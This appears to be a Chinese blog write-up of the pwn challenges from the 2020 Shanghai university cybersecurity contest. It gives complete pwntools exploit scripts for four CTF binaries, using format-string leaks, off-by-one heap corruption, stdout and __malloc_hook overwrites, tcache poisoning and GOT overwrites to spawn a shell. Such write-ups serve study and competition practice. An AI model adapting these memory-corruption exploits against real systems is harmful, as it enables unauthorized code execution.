2020第六届上海市大学生网络安全大赛pwn wp

原创

TTYflag 于 2020-11-26 11:03:07 发布 378 收藏

2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛

体验一般，前三道2道原题一道常规题，cpu_emulator还挺有意思

EASY_ABNORMAL

 湖湘杯2020原题，修改了提示字符而已，漏洞点在于格式化字符串和c++一个异常的处理，完全可以直接调出来，在后面函数输入非法的程序就会被劫持。

 glibc2.23

exp

```
from pwn import*
context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=1)
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
 log.success(a+'===>'+hex(addr))

def show_name():
 p.sendlineafter("CHOICE :",'1')

def add(content='a'):
 p.sendlineafter("CHOICE :",'2')
 p.sendlineafter("cnt:\n",content)

def delete(index):
 p.sendlineafter("CHOICE :",'3')
 p.sendlineafter("idx:",str(index))

def show_note():
 p.sendlineafter("CHOICE :",'4')
def gift(content):
 p.sendlineafter("CHOICE :",'23333')
 p.sendlineafter("INPUT:",content)

p.sendlineafter('NAME: ','%11$p')
show_name()
#gdb.attach(p)
p.recvuntil('INFO:')
leak = int(p.recvuntil('\n')[:-1],16) -240
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[0]
pr('libcbase',libcbase)
pr('one',one)
add('a'*0x10+p64(0x1)+p64(one))
add('a')
delete(0)
delete(1)
show_note()
p.recvuntil("2:")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))+0x18
pr('heap_povit',heap_addr)
gift("a"*0x20+p64(heap_addr+8)+"a")

p.interactive()
```

lgtwo

glibc2.23

打stdout泄露libc

off-by-one

```
from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',timeout=0.2,os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
```

```python
ogg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
 log.success(a+'===>'+hex(addr))

def add(size,content='\x00'):
 p.sendlineafter('>> ','1')
 p.sendlineafter('size?\n',str(size))
 p.sendafter('content?\n',content)

def delete(index):
 p.sendlineafter('>> ','2')
 p.sendlineafter('index ?\n',str(index))

def edit(index,content):
 p.sendlineafter('>> ','4')
 p.sendlineafter('?',str(index))
 p.sendafter('content ?\n',content)
def pwn():
 add(0x18)# 0
 add(0x10)# 1
 add(0x60)# 2
 add(0x50)# 3
 add(0x10)# 4
 edit(0,'\x00'*0x18+'\xf1')
 delete(1)
 delete(2)
 add(0x18) #1
 add(0xc0) #2
 edit(2,'\xdd\x25')
 edit(1,'\x00'*0x18+'\x71')

 add(0x60) #5
 add(0x60) #6
 edit(6,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
 leak = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
 libcbase = leak - (0x7ffff7dd2600-0x7ffff7a0d000)
 malloc_hook = libcbase + libc.sym['__malloc_hook']
 libc_realloc = libcbase + libc.sym['__libc_realloc']
 one = libcbase + ogg[1]
 pr('leak',leak)
 pr('libcbase',libcbase)
 pr('malloc_hook',malloc_hook)
 pr('one',one)
 pr('__libc_realloc',libc_realloc)
 pause()
 delete(2)
 edit(5,p64(malloc_hook-35))
 add(0x60)#2
 add(0x60)#7
 edit(7,'\x00'*11+p64(one)+p64(libc_realloc+11))
 p.sendlineafter('>> ','1')
 #gdb.attach(p,'b *'+str(libc_realloc+11))
 p.sendlineafter('size?\n','16')
 p.interactive()
while True:
 try:
  p = process('./pwn')
  pwn()
  break
```

```
except:
 print 'trying...'
```

maj0rone

ciscn2020初赛原题

c++

```
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch="amd64",os='linux',timeout=1)
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(sz):
 io.sendlineafter(">> ",'1')
 io.sendlineafter("question\n\n",'80')
 io.sendlineafter("?\n",str(sz))
 io.sendlineafter("no?\n",'yes')

def dele(idx):
 io.sendlineafter(">> ",'2')
 io.sendlineafter("index ?\n",str(idx))

def edit(idx,ct):
 io.sendlineafter(">> ",'4')
 io.sendlineafter("index ?\n",str(idx))
 io.sendafter("__new_content ?\n",ct)

def pwn():
 add(0x90)#0
 add(0x60)#1
 add(0x20)#2
 dele(0)
 dele(1)
 add(0x10)#3_addr=0_addr
 edit(0,"a"*0x10+p64(0)+p64(0xf1))
 add(0x70)#4
 edit(1,p16(0x2620-0x43))
 add(0x60)#5
 add(0x60)#6 stdout
 edit(6,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
 libc_leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
 log.success("libc_leak==>"+hex(libc_leak))
 malloc_hook=libc_leak+libc.sym['__malloc_hook']
 #0x45226 0x4527a 0xf0364 0xf1207
 one_gadget=libc_leak+0xf1207
 log.success("malloc_hook==>"+hex(malloc_hook))
 add(0x60)#7
 dele(7)
 edit(7,p64(malloc_hook-0x23))
 add(0x60)#8
 add(0x60)#9
 edit(9,'\x00'*0x13+p64(one_gadget))
 io.sendlineafter(">> ",'1')
 io.sendlineafter("question\n\n",'80')
 io.sendlineafter('question\n\n','80')
 io.sendlineafter("?\n",'144')
 #pause()
 io.interactive()
if __name__=='__main__':
 while True:
  try:
   io=process('./pwn')
   pwn()
  except:
   print 'trying'
   io.close()
```

cpu_emulator

感觉是4道里最有趣的一道了，模拟了cpu的工作，32个寄存器，每个寄存器32位，指令长度也是32位，指令是分段的，且有两种解析方式，漏洞在第一种解析方式。前期逆向需要做好大量工作，理解工作原理之后其实漏洞也相对好找。

glibc2.27

保护开的不多，got表可写，pie也没开。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qkGO3jWa-1606359542217)(.\cpu_emulator1.png)]

关键漏洞在于第一种解析方式 case 0x2b的地方，可以造成一个堆上的任意写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6T8Uunit-1606359542220)(.\cpu_emulator2.png)]

通过一次写造成size变化就可以控制别的堆块，利用tchace的特性可以把堆块申请到任意地址，这里我们去修改got表。

got修改顺序：

- 先修改free_got为printf_plt（这里需要申请堆块到free_got-0x8的位置，因为malloc会把p->fd清零，这里会把puts_got表也给修改所以要做一个偏移），防止free导致的程序终止。
- 再修改atoi_got为printf_got，这样就可以造出一个格式化字符串漏洞，泄露libcbase。
- 再次修改atoi_got为system或者onegadget，getshell。

exp:

```
from pwn import*
context.log_level = 'debug'
p = process('./emulator')
elf = ELF('./emulator')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg = [0x4f3d5,0x4f432,0x10a41c]
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi'] #0x602058
printf_plt = elf.plt['printf']
exit_got = elf.got['exit'] #0x602060

def pr(a,addr):
 log.success(a+'====>'+hex(addr))

def setInstruction(size,content):
 p.sendlineafter('>> ','1')
 p.sendlineafter('size:\n',str(size))
 p.sendafter('instruction:\n',content)
```

```python
def setInstruction2(size,content):
 p.sendafter('>> ','1')
 p.sendlineafter('size:\n','%'+str(size)+'c')
 p.sendafter('instruction:\n',content)

def getOrder1(a1,a2,a3,a4):
 result = (a1<<26) + (a2<<21) + (a3<<16) + a4
 return p32(result)

def run():
 p.sendlineafter('>> ','2')

setInstruction(0x100,'\x00')
setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')

payload1 = getOrder1(8,0,0,0xf1) + getOrder1(8,0,0,0xe0) + getOrder1(8,1,1,0x8+1) + getOrder1(0x2b,1,0,0xffff)+getOrder1(1,0,0,0)
setInstruction(0x100,payload1)
run()

payload2 = '\x00'*0x100
payload2 += p64(0)+p64(0xa1)+p64(free_got-8).ljust(0x20,'\x00')
payload2 += p64(0)+p64(0xb1)+p64(atoi_got).ljust(0x30,'\x00')
payload2 += p64(0)+p64(0xc1)+p64(atoi_got).ljust(0x40,'\x00')
setInstruction(0x1c0,payload2)
run()

setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')

setInstruction(0x20,p64(printf_plt)*2)
setInstruction(0x30,p64(printf_plt))
p.sendlineafter('>> ','%15$p')
leak = int(p.recvuntil('\n')[:-1],16) - 231
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[0]
system_addr = libcbase + libc.sym['system']
pr('libcbase',libcbase)
pr('one',one)
pr('system_addr',system_addr)

setInstruction2(0x40,p64(system_addr))
p.sendlineafter('>> ','sh')
#gdb.attach(p,'b *0x04010CF')

p.interactive()
```